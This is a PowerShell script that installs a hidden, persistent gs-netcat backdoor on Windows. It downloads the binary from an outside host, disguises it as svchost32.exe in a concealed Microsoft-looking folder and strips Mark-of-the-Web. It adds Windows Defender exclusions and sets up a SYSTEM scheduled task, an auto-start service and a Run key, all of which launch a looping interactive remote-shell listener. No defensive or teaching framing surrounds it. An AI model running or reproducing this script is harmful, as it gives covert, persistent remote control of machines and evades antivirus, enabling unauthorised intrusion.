# deploy-gsocket.ps1 # Compatible: Windows 7/8/10/11, Server 2008R2+ # Requires: Run as Administrator param( [string]$MachineSecret = "REPLACE_WITH_UNIQUE_SECRET", [string]$TaskName = "WindowsNetworkService", [string]$InstallDir = "C:\ProgramData\Microsoft\Network\Connections" ) # ── Elevate if not admin ─────────────────────────────────────────────────────── if (-not ([Security.Principal.WindowsPrincipal] ` [Security.Principal.WindowsIdentity]::GetCurrent() ` ).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { Start-Process powershell -ArgumentList "-ExecutionPolicy Bypass -File `"$PSCommandPath`" -MachineSecret `"$MachineSecret`"" -Verb RunAs exit } # ── Helpers ──────────────────────────────────────────────────────────────────── function Log($msg) { Write-Host "[*] $msg" } function Err($msg) { Write-Host "[!] $msg" -ForegroundColor Red } # ── Detect architecture ──────────────────────────────────────────────────────── $arch = if ([Environment]::Is64BitOperatingSystem) { "win64" } else { "win32" } Log "Architecture: $arch" # ── Detect OS version for compatibility ─────────────────────────────────────── $osVersion = [System.Environment]::OSVersion.Version $isWin7 = ($osVersion.Major -eq 6 -and $osVersion.Minor -eq 1) Log "OS Version: $($osVersion.ToString())" # ── Create install dir (hidden) ──────────────────────────────────────────────── New-Item -ItemType Directory -Force -Path $InstallDir | Out-Null (Get-Item $InstallDir -Force).Attributes = "Hidden,System" Log "Install dir: $InstallDir" # ── Download binary with multiple fallback methods ───────────────────────────── $BinaryPath = "$InstallDir\svchost32.exe" # blend into system look $DownloadUrl = "https://github.com/hackerschoice/gsocket/releases/latest/download/gs-netcat_$arch.exe" function Download-File($url, $dest) { # Method 1: Invoke-WebRequest (PS 3.0+) try { [Net.ServicePointManager]::SecurityProtocol = ` [Net.SecurityProtocolType]::Tls12 -bor ` [Net.SecurityProtocolType]::Tls11 -bor ` [Net.SecurityProtocolType]::Tls Invoke-WebRequest -Uri $url -OutFile $dest -UseBasicParsing -TimeoutSec 30 if (Test-Path $dest) { return $true } } catch { Log "IWR failed, trying WebClient..." } # Method 2: .NET WebClient (Win7 compatible) try { $wc = New-Object System.Net.WebClient $wc.DownloadFile($url, $dest) if (Test-Path $dest) { return $true } } catch { Log "WebClient failed, trying BITS..." } # Method 3: BITS (Background Intelligent Transfer) try { Start-BitsTransfer -Source $url -Destination $dest -ErrorAction Stop if (Test-Path $dest) { return $true } } catch { Log "BITS failed, trying curl..." } # Method 4: curl.exe (Win10 1803+) try { $curlPath = "$env:SystemRoot\System32\curl.exe" if (Test-Path $curlPath) { & $curlPath -L -o $dest --tlsv1.2 --silent $url if (Test-Path $dest) { return $true } } } catch { Log "curl failed..." } return $false } if (-not (Test-Path $BinaryPath)) { Log "Downloading gsocket binary..." if (-not (Download-File $DownloadUrl $BinaryPath)) { Err "All download methods failed. Exiting." exit 1 } } Log "Binary ready: $BinaryPath" # ── Unblock binary (removes Mark-of-the-Web) ────────────────────────────────── try { Unblock-File -Path $BinaryPath -ErrorAction SilentlyContinue } catch {} # ── Exclude from Windows Defender ───────────────────────────────────────────── try { Add-MpPreference -ExclusionPath $InstallDir -ErrorAction SilentlyContinue Add-MpPreference -ExclusionProcess $BinaryPath -ErrorAction SilentlyContinue Log "AV exclusion added" } catch { Log "Could not add AV exclusion (non-fatal)" } # ── Create resilient launcher batch ─────────────────────────────────────────── $LauncherPath = "$InstallDir\launcher.bat" $LauncherContent = @" @echo off setlocal set GSOCKET_ARGS=-s $MachineSecret -l -i -k :loop "$BinaryPath" %GSOCKET_ARGS% timeout /t 10 /nobreak >nul 2>&1 ping -n 11 127.0.0.1 >nul 2>&1 goto loop "@ Set-Content -Path $LauncherPath -Value $LauncherContent -Encoding ASCII # ── Install persistence (3 methods for maximum resilience) ──────────────────── # Method A: Scheduled Task (most reliable, survives reboots + logoffs) function Install-ScheduledTask { try { $Action = New-ScheduledTaskAction -Execute "cmd.exe" ` -Argument "/c `"$LauncherPath`"" $Trigger1 = New-ScheduledTaskTrigger -AtStartup $Trigger2 = New-ScheduledTaskTrigger -RepetitionInterval (New-TimeSpan -Minutes 5) ` -Once -At (Get-Date) $Settings = New-ScheduledTaskSettingsSet ` -ExecutionTimeLimit ([TimeSpan]::Zero) ` -RestartCount 99 ` -RestartInterval (New-TimeSpan -Minutes 1) ` -StartWhenAvailable ` -RunOnlyIfNetworkAvailable:$false Register-ScheduledTask -TaskName $TaskName ` -Action $Action -Trigger @($Trigger1, $Trigger2) ` -RunLevel Highest -User "SYSTEM" ` -Settings $Settings -Force | Out-Null Start-ScheduledTask -TaskName $TaskName -ErrorAction SilentlyContinue Log "Scheduled Task installed" return $true } catch { # Fallback for older PowerShell / Windows 7 try { schtasks /create /tn $TaskName /sc onstart /delay 0001:00 ` /tr "cmd.exe /c `"$LauncherPath`"" ` /ru SYSTEM /f | Out-Null schtasks /run /tn $TaskName | Out-Null Log "Scheduled Task installed (legacy schtasks)" return $true } catch { Err "Scheduled Task failed" return $false } } } # Method B: Windows Service via sc.exe function Install-Service { try { $SvcName = "WinNetSvc" $SvcPath = "$InstallDir\service_wrapper.bat" # Wrap in a simple loop for service mode Set-Content $SvcPath "@echo off`n:l`n`"$BinaryPath`" -s $MachineSecret -l -i -k`ntimeout /t 10 >nul`ngoto l" -Encoding ASCII sc.exe create $SvcName binPath= "cmd.exe /c `"$SvcPath`"" start= auto | Out-Null sc.exe failure $SvcName reset= 60 actions= restart/5000/restart/5000/restart/5000 | Out-Null sc.exe start $SvcName | Out-Null Log "Windows Service installed" return $true } catch { Err "Service install failed (non-fatal)" return $false } } # Method C: Registry Run key (last resort, user-session only) function Install-RegistryRun { try { $regPath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" Set-ItemProperty -Path $regPath -Name $TaskName ` -Value "cmd.exe /c `"$LauncherPath`"" -ErrorAction Stop Log "Registry Run key installed" return $true } catch { Err "Registry Run key failed" return $false } } # Try all persistence methods Install-ScheduledTask Install-Service Install-RegistryRun # ── Immediately start in background ─────────────────────────────────────────── try { Start-Process -FilePath "cmd.exe" ` -ArgumentList "/c `"$LauncherPath`"" ` -WindowStyle Hidden -ErrorAction SilentlyContinue Log "Started background process" } catch {} # ── Verify it's running ──────────────────────────────────────────────────────── Start-Sleep -Seconds 3 $running = Get-Process | Where-Object { $_.Path -eq $BinaryPath } | Select-Object -First 1 if ($running) { Log "Verified: gsocket is running (PID $($running.Id))" } else { Err "Process not detected — may still be starting" } Log "Deployment complete. Secret: $MachineSecret"